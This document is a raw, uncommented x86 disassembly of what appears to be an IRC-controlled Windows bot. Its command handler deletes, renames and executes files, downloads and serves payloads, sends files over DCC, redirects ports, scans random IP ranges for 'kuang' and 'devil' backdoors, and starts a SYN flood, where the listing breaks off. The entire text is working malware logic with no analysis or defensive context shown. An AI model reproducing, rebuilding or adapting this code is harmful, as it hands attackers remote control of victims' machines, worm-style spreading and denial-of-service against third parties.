call sym._strlen
mov edx, eax
mov eax, dword [ebx + 0xc]
add eax, edx
mov word [eax], 0xa
mov dword [esp + 4], 0x20
mov eax, dword [ebx + 0xc]
mov dword [esp], eax
call sym._strchr
add eax, 1
mov dword [esp + 4], eax
lea eax, [ebp - 0x658]
mov dword [esp], eax
call sym._sprintf
jmp 0x403058
mov dword [esp + 4], 0x42480f
lea eax, [ebp - 0x658]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x658]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x8bc], eax
mov edx, dword [ebp - 0x8bc]
mov eax, dword [0x45fd1c]
mov dword [esp + 0x10], 0
lea ecx, [ebp - 0x8bc]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
lea edx, [ebp - 0x658]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
jne 0x4044b4
call sym._Close_Handles
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
mov eax, dword [ebp - 0x67c]
test eax, eax
je 0x4044aa
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._delete
call sym._strcmp
test eax, eax
jne 0x403166
mov dword [esp + 4], 0x20
mov eax, dword [ebx + 0xc]
mov dword [esp], eax
call sym._strchr
add eax, 1
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
test eax, eax
je 0x403147
movdqu xmm0, xmmword [0x424400]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x42440e]
mov edx, dword [0x424412]
mov dword [ebp - 0x24a], eax
mov dword [ebp - 0x246], edx
jmp 0x4044b4
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._server
call sym._strcmp
test eax, eax
jne 0x4031e6
cmp dword [ebx + 0x10], 0
je 0x4031e6
mov dword [esp + 8], 0x1f4
mov dword [esp + 4], 0
mov dword [esp], 0x45fd80
call sym._memset
mov eax, dword [ebp - 0x67c]
mov dword [esp + 4], eax
mov dword [esp], 0x45fd80
call sym._strcpy
mov dword [esp + 0xc], 0
mov dword [esp + 8], 8
mov dword [esp + 4], str.QUIT_n
mov eax, dword [ebx]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov eax, 2
jmp 0x404587
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._execute
call sym._strcmp
test eax, eax
jne 0x40329b
mov dword [esp + 4], 0x20
mov eax, dword [ebx + 0xc]
mov dword [esp], eax
call sym._strchr
add eax, 1
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
cmp eax, 0x20
jg 0x403270
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
movdqu xmm0, xmmword [0x424400]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x42440e]
mov edx, dword [0x424412]
mov dword [ebp - 0x24a], eax
mov dword [ebp - 0x246], edx
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._makedir
call sym._strcmp
test eax, eax
jne 0x40332b
mov dword [esp + 4], 0x20
mov eax, dword [ebx + 0xc]
mov dword [esp], eax
call sym._strchr
add eax, 1
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call eax
sub esp, 8
test eax, eax
je 0x40330c
movdqu xmm0, xmmword [0x424400]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x42440e]
mov edx, dword [0x424412]
mov dword [ebp - 0x24a], eax
mov dword [ebp - 0x246], edx
jmp 0x4044b4
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._list
call sym._strcmp
test eax, eax
jne 0x403390
mov eax, dword [ebx + 0xc]
lea edx, [eax + 5]
mov dword [esp + 0xc], 0
mov eax, dword [ebx + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebx]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._getfiles
movdqu xmm0, xmmword [0x424400]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x42440e]
mov edx, dword [0x424412]
mov dword [ebp - 0x24a], eax
mov dword [ebp - 0x246], edx
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._killproc
call sym._strcmp
test eax, eax
jne 0x40341a
mov eax, dword [ebp - 0x67c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebx]
mov dword [esp], eax
call sym._listProcesses
cmp eax, 1
jne 0x4033fb
movdqu xmm0, xmmword [0x424400]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x42440e]
mov edx, dword [0x424412]
mov dword [ebp - 0x24a], eax
mov dword [ebp - 0x246], edx
jmp 0x4044b4
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._killthread
call sym._strcmp
test eax, eax
jne 0x4035b6
mov eax, dword [ebp - 0x67c]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x27
jle 0x403456
mov eax, 0
jmp 0x404587
mov eax, dword [ebp - 0x40]
imul eax, eax, 0x318
add eax, 0x461cfc
mov eax, dword [eax]
test eax, eax
je 0x4044b4
mov eax, dword [ebp - 0x40]
imul eax, eax, 0x318
add eax, 0x461d0c
mov eax, dword [eax]
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
test eax, eax
jne 0x4034b6
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
mov eax, dword [ebp - 0x40]
imul eax, eax, 0x318
add eax, 0x461c00
mov dword [esp + 8], eax
mov dword [esp + 4], str.Thread_killed___s_
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x40]
imul eax, eax, 0x318
add eax, 0x461d08
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp - 0x40]
imul eax, eax, 0x318
add eax, 0x461cfc
mov eax, dword [eax]
cmp eax, 2
jne 0x403536
mov dword [esp + 8], 0x32
mov dword [esp + 4], 0
mov dword [esp], 0x460e20
call sym._memset
mov dword [0x460e04], 0
mov eax, dword [ebp - 0x40]
imul eax, eax, 0x318
add eax, 0x461cfc
mov eax, dword [eax]
cmp eax, 4
jne 0x40359d
mov dword [ebp - 0x1c], 0
jmp 0x403597
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460f9c
mov eax, dword [eax]
test eax, eax
je 0x403593
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460fa4
mov eax, dword [eax]
cmp dword [ebp - 0x40], eax
jne 0x403593
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460f9c
mov dword [eax], 0
jmp 0x40359d
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 9
jle 0x403554
mov eax, dword [ebp - 0x40]
imul eax, eax, 0x318
add eax, 0x461cfc
mov dword [eax], 0
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._get
call sym._strcmp
test eax, eax
jne 0x4036af
cmp dword [ebx + 0x10], 0
je 0x4036af
mov eax, dword [ebx]
mov dword [0x45fd00], eax
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
mov dword [esp], 0x45fba0
call sym._memset
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
mov dword [esp], 0x45fb80
call sym._memset
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x45fcc0
call sym._strcpy
mov dword [esp + 4], 0x20
mov eax, dword [ebx + 0xc]
mov dword [esp], eax
call sym._strchr
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x45fba0
call sym._sprintf
lea eax, [ebp - 0x684]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._dcc_send_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
jmp 0x4036a1
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [0x45fd0c]
test eax, eax
je 0x403690
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._down
call sym._strcmp
test eax, eax
jne 0x4037ee
mov eax, dword [ebx]
mov dword [0x45fd00], eax
cmp dword [ebx + 0x10], 0
je 0x4036ea
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x45fcc0
call sym._strcpy
mov edx, dword [ebp - 0x678]
mov eax, dword [ebp - 0x67c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str.dl__s__s
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x678]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._addthread
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x67c]
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x318
add edx, 0x110
add edx, 0x461c00
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._sprintf
mov eax, dword [ebp - 0x678]
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x318
add edx, 0x210
add edx, 0x461c00
add edx, 4
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._sprintf
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x684]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._download_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x318
lea edx, [eax + 0x461d0c]
mov eax, dword [ebp - 0x34]
mov dword [edx], eax
jmp 0x4044b4
mov eax, dword [ebp - 0x678]
test eax, eax
je 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._http_
call sym._strcmp
test eax, eax
jne 0x40391d
mov eax, dword [ebp - 0x67c]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x3c], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x884]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x678]
mov dword [esp + 4], eax
lea eax, [ebp - 0x884]
mov dword [esp], eax
call sym._sprintf
mov dword [ebp - 0x1c], 3
jmp 0x403899
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x680]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x884]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
lea eax, [ebp - 0x884]
mov dword [esp], eax
call sym._sprintf
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x680]
test eax, eax
jne 0x403867
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x884]
mov dword [esp], eax
call sym._HTTP_server
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x4038e0
mov dword [esp + 4], 0x4243ec
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x318
lea edx, [eax + 0x461c00]
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.000.000.000.000
mov dword [esp + 8], edx
mov dword [esp + 4], str._s_Address_http:___s:_i__.
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._rename
call sym._strcmp
test eax, eax
jne 0x40399f
mov edx, dword [ebp - 0x678]
mov eax, dword [ebp - 0x67c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_MoveFileA]
call eax
sub esp, 8
test eax, eax
jne 0x403974
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
movdqu xmm0, xmmword [0x424400]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x42440e]
mov edx, dword [0x424412]
mov dword [ebp - 0x24a], eax
mov dword [ebp - 0x246], edx
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._sendto
call sym._strcmp
test eax, eax
jne 0x403aae
cmp dword [ebx + 0x10], 0
je 0x403aae
mov eax, dword [ebx]
mov dword [0x45fd00], eax
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
mov dword [esp], 0x45fba0
call sym._memset
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
mov dword [esp], 0x45fb80
call sym._memset
mov eax, dword [ebp - 0x67c]
mov dword [esp + 4], eax
mov dword [esp], 0x45fcc0
call sym._strcpy
mov eax, dword [ebp - 0x67c]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebx + 0xc]
add eax, edx
mov dword [esp + 4], 0x20
mov dword [esp], eax
call sym._strchr
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x45fba0
call sym._sprintf
lea eax, [ebp - 0x684]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._dcc_send_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
jmp 0x403aa0
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [0x45fd0c]
test eax, eax
je 0x403a8f
jmp 0x4044b4
mov eax, dword [ebp - 0x674]
test eax, eax
je 0x4044b4
mov eax, dword [ebx]
mov dword [0x45fd00], eax
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
mov dword [esp], 0x45fba0
call sym._memset
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
mov dword [esp], 0x45fb80
call sym._memset
cmp dword [ebx + 0x10], 0
je 0x403b14
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x45fcc0
call sym._strcpy
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str.SEND
call sym._strcmp
test eax, eax
jne 0x403bca
mov eax, dword [ebp - 0x67c]
mov dword [esp + 4], eax
mov dword [esp], 0x45fba0
call sym._sprintf
mov eax, dword [ebp - 0x678]
mov dword [esp + 4], eax
mov dword [esp], 0x45fb80
call sym._sprintf
mov eax, dword [ebp - 0x674]
mov dword [esp], eax
call sym._atoi
mov dword [0x45fcf4], eax
lea eax, [ebp - 0x684]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._dcc_getfile_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
jmp 0x403bbc
mov dword [esp], 5
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [0x45fd0c]
test eax, eax
je 0x403bab
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str.CHAT
call sym._strcmp
test eax, eax
jne 0x403c74
cmp dword [ebx + 0x10], 0
je 0x403c74
mov eax, dword [ebp - 0x678]
mov dword [esp + 4], eax
mov dword [esp], 0x45fb80
call sym._sprintf
mov eax, dword [ebp - 0x674]
mov dword [esp], eax
call sym._atoi
mov dword [0x45fcf4], eax
lea eax, [ebp - 0x684]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._dcc_chat_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
jmp 0x403c66
mov dword [esp], 5
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [0x45fd0c]
test eax, eax
je 0x403c55
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._redirect
call sym._strcmp
test eax, eax
jne 0x403de9
mov eax, dword [ebp - 0x67c]
mov dword [esp], eax
call sym._atoi
mov dword [esp], eax
call sym._Listen
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
jne 0x403ccd
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
mov eax, dword [ebp - 0x674]
mov dword [esp], eax
call sym._atoi
mov esi, eax
mov edi, dword [ebp - 0x678]
mov eax, dword [ebp - 0x67c]
mov dword [esp], eax
call sym._atoi
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.000.000.000.000
mov dword [esp + 4], str.redir__s:_i____s:_i
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x678]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 6
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._addthread
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x674]
mov dword [esp], eax
call sym._atoi
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x318
add edx, 0x461d04
mov dword [edx], eax
mov eax, dword [ebp - 0x678]
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x318
add edx, 0x110
add edx, 0x461c00
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._sprintf
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x684]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._port_redirect_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x318
lea edx, [eax + 0x461d0c]
mov eax, dword [ebp - 0x34]
mov dword [edx], eax
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._scan
call sym._strcmp
test eax, eax
jne 0x4042a2
mov dword [ebp - 0x1c], 0
jmp 0x403e25
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460f9c
mov eax, dword [eax]
test eax, eax
je 0x403e2d
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 9
jle 0x403e0d
jmp 0x403e2e
nop
cmp dword [ebp - 0x1c], 9
jle 0x403e3e
mov eax, 0
jmp 0x404587
mov eax, dword [ebp - 0x67c]
mov dword [esp + 4], eax
mov dword [esp], 0x4214c7
call sym._strcmp
test eax, eax
jne 0x403f21
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov dword [esp], eax
call sym._srand
call sym._rand
mov ecx, eax
mov edx, 0x80808081
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 7
mov edx, eax
mov eax, ecx
sar eax, 0x1f
mov edi, edx
sub edi, eax
mov eax, edi
shl eax, 8
sub eax, edi
mov edi, ecx
sub edi, eax
call sym._rand
mov ecx, eax
mov edx, 0x80808081
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 7
mov edx, eax
mov eax, ecx
sar eax, 0x1f
mov esi, edx
sub esi, eax
mov eax, esi
shl eax, 8
sub eax, esi
mov esi, ecx
sub esi, eax
call sym._rand
mov ecx, eax
mov edx, 0x80808081
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 7
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov edx, eax
shl edx, 8
sub edx, eax
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x15c
add edx, 0x100
add edx, 0x460e60
add edx, 4
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], str._i._i._i.0
mov dword [esp], edx
call sym._sprintf
jmp 0x403f4b
mov eax, dword [ebp - 0x67c]
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x15c
add edx, 0x100
add edx, 0x460e60
add edx, 4
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._sprintf
mov eax, dword [ebp - 0x678]
mov dword [esp], eax
call sym._atoi
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x15c
add edx, 0x460f94
mov dword [edx], eax
mov eax, dword [ebp - 0x674]
mov dword [esp], eax
call sym._atoi
imul eax, eax, 0x3e8
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x15c
add edx, 0x460f98
mov dword [edx], eax
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460fa0
mov dword [eax], 0
mov eax, dword [ebp - 0x670]
test eax, eax
je 0x40403b
mov eax, dword [ebp - 0x670]
mov dword [esp + 4], str.kuang
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x403fdf
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460fa0
mov dword [eax], 2
mov eax, dword [ebp - 0x670]
mov dword [esp + 4], 0x42487d
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x40400d
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460fa0
mov dword [eax], 3
mov eax, dword [ebp - 0x670]
mov dword [esp + 4], str.devil
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x40403b
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460fa0
mov dword [eax], 4
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460e60
mov dword [esp + 4], 0x42449c
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x110
add eax, 0x460e60
add eax, 4
mov dword [esp + 4], 0x42449c
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
lea edx, [eax + 0x460fa8]
mov eax, dword [ebx]
mov dword [edx], eax
cmp dword [ebx + 0x10], 0
je 0x4040bd
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x110
add eax, 0x460e60
lea edx, [eax + 4]
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._sprintf
mov eax, dword [ebp - 0x670]
test eax, eax
je 0x404129
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460fa0
mov eax, dword [eax]
test eax, eax
jne 0x404129
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x9c0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call eax
sub esp, 8
mov eax, dword [ebp - 0x670]
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x15c
add edx, 0x460e60
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x9c0]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424430
mov dword [esp], edx
call sym._sprintf
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x684]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._port_scanner_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x404283
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460e60
mov dword [esp], eax
call sym._strlen
cmp eax, 2
jbe 0x4041f0
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
lea esi, [eax + 0x460e60]
mov edx, dword [ebp - 0x674]
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460f94
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
imul ecx, ecx, 0x15c
add ecx, 0x100
add ecx, 0x460e60
add ecx, 4
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x424880
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
jmp 0x404240
mov edx, dword [ebp - 0x674]
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x15c
add eax, 0x460f94
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
imul ecx, ecx, 0x15c
add ecx, 0x100
add ecx, 0x460e60
add ecx, 4
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x4248a4
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x10], 0x42449c
mov dword [esp + 0xc], 4
mov eax, dword [ebp - 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._addthread
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x15c
add edx, 0x460fa4
mov dword [edx], eax
jmp 0x4044b4
movdqu xmm0, xmmword [0x4243ec]
movups xmmword [ebp - 0x258], xmm0
mov eax, dword [0x4243fb]
mov dword [ebp - 0x249], eax
jmp 0x4044b4
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov dword [esp], str._syn
call sym._strcmp
test eax, eax
jne 0x4044b4
mov eax, dword [ebp - 0x670]
test eax, eax
je 0x4044b4
mov dword [ebp - 0x1c], 0
jmp 0x4042e9
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x78
add eax, 0x45fff4
mov eax, dword [eax]
test eax, eax
je 0x4042f1
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 9
jle 0x4042d4
jmp 0x4042f2
nop
cmp dword [ebp - 0x1c], 9
jle 0x404302
mov eax, 0
jmp 0x404587
mov eax, dword [ebp - 0x67c]
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x78
add edx, 0x45ff80
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
mov eax, dword [ebp - 0x678]
mov dword [esp], eax
call sym._atoi
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x78
add edx, 0x45ffe4
mov dword [edx], eax
mov eax, dword [ebp - 0x674]
mov dword [esp], eax
call sym._atoi
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x78
add edx, 0x45ffe8
mov dword [edx], eax
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x78
add eax, 0x45ffe8
mov eax, dword [eax]
cmp eax, 4
jg 0x40437b
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x78
add eax, 0x45ffe8
mov dword [eax], 5
mov eax, dword [ebp - 0x670]
mov dword [esp], eax
call sym._atoi
mov edx, dword [ebp - 0x1c]
imul edx, edx, 0x78
add edx, 0x45ffec
mov dword [edx], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x258]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x78
add eax, 0x45ffec
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x78
add eax, 0x45ffe8
mov edx, dword [eax]
mov eax, dword [ebp - 0x1c]
imul eax, eax, 0x78
add eax, 0x45ffe4
mov eax, dword [eax]
mov esi, dword [ebp - 0x1c]
imul esi, esi, 0x78
add esi, 0x45ff80
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov dword [esp + 4], 0x4248c1
lea eax, [ebp - 0x258]
